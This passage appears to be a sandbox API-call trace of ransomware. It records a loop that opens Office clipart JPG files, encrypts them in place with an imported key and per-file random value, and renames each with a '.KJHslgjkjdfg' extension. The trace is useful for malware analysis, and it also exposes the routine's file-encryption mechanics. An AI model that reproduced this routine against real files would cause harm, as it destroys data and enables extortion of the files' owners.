nNumberOfBytesToRead=0x1b75f, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1b75f, lpOverlapped=0x0) returned 1 [0214.000] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b760, dwBufLen=0x1b760 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b760) returned 1 [0214.002] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.002] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1b760, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1b760, lpOverlapped=0x0) returned 1 [0214.002] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.002] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1b834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.002] SetEndOfFile (hFile=0x130) returned 1 [0214.004] GetProcessHeap () returned 0x2ef0000 [0214.004] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.005] GetProcessHeap () returned 0x2ef0000 [0214.005] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.005] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg.kjhslgjkjdfg")) returned 1 [0214.006] CloseHandle (hObject=0x130) returned 1 [0214.007] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1779f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382969.JPG", cAlternateFileName="")) returned 1 [0214.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.010] GetProcessHeap () returned 0x2ef0000 [0214.010] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.010] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.010] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.010] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x1, lpOverlapped=0x0) returned 1 [0214.013] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.013] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.013] GetProcessHeap () returned 0x2ef0000 [0214.013] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.013] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.013] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.013] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.013] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.013] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.013] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.013] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.013] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.014] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.014] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.014] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.014] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1779f, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1779f, lpOverlapped=0x0) returned 1 [0214.016] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x177a0, dwBufLen=0x177a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x177a0) returned 1 [0214.017] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.017] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x177a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x177a0, lpOverlapped=0x0) returned 1 [0214.018] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.018] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17874, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.018] SetEndOfFile (hFile=0x130) returned 1 [0214.021] GetProcessHeap () returned 0x2ef0000 [0214.021] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.021] GetProcessHeap () returned 0x2ef0000 [0214.021] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.021] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg.kjhslgjkjdfg")) returned 1 [0214.023] CloseHandle (hObject=0x130) returned 1 [0214.023] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15b94, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382970.JPG", cAlternateFileName="")) returned 1 [0214.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.024] GetProcessHeap () returned 0x2ef0000 [0214.024] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.024] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.025] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.025] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0214.027] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.027] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.027] GetProcessHeap () returned 0x2ef0000 [0214.027] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.027] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.027] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.027] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.028] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.028] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.028] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.028] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.028] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.028] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.028] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.028] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.028] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x15b94, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x15b94, lpOverlapped=0x0) returned 1 [0214.030] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x15ba0, dwBufLen=0x15ba0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x15ba0) returned 1 [0214.031] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.031] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x15ba0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x15ba0, lpOverlapped=0x0) returned 1 [0214.032] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.032] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x15c74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.032] SetEndOfFile (hFile=0x130) returned 1 [0214.035] GetProcessHeap () returned 0x2ef0000 [0214.036] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.036] GetProcessHeap () returned 0x2ef0000 [0214.036] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.036] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg.kjhslgjkjdfg")) returned 1 [0214.037] CloseHandle (hObject=0x130) returned 1 [0214.038] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x190e9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0384862.JPG", cAlternateFileName="")) returned 1 [0214.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.039] GetProcessHeap () returned 0x2ef0000 [0214.039] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.039] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.039] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.039] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x7, lpOverlapped=0x0) returned 1 [0214.041] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.041] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.041] GetProcessHeap () returned 0x2ef0000 [0214.041] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.042] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.042] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.042] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.042] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.042] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.042] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.042] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.042] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.042] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.042] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.042] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.042] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x190e9, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x190e9, lpOverlapped=0x0) returned 1 [0214.045] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x190f0, dwBufLen=0x190f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x190f0) returned 1 [0214.046] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.046] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x190f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x190f0, lpOverlapped=0x0) returned 1 [0214.047] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.047] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x191c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.047] SetEndOfFile (hFile=0x130) returned 1 [0214.050] GetProcessHeap () returned 0x2ef0000 [0214.050] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.050] GetProcessHeap () returned 0x2ef0000 [0214.050] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.050] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg.kjhslgjkjdfg")) returned 1 [0214.052] CloseHandle (hObject=0x130) returned 1 [0214.052] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17b79, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0384885.JPG", cAlternateFileName="")) returned 1 [0214.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.053] GetProcessHeap () returned 0x2ef0000 [0214.053] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.053] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.053] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.053] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x7, lpOverlapped=0x0) returned 1 [0214.056] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.056] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.056] GetProcessHeap () returned 0x2ef0000 [0214.056] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.056] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.056] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.056] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.056] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.056] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.056] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.057] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.057] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.057] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.057] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.057] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.057] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x17b79, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x17b79, lpOverlapped=0x0) returned 1 [0214.059] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x17b80, dwBufLen=0x17b80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x17b80) returned 1 [0214.060] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.060] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x17b80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x17b80, lpOverlapped=0x0) returned 1 [0214.061] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.061] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17c54, 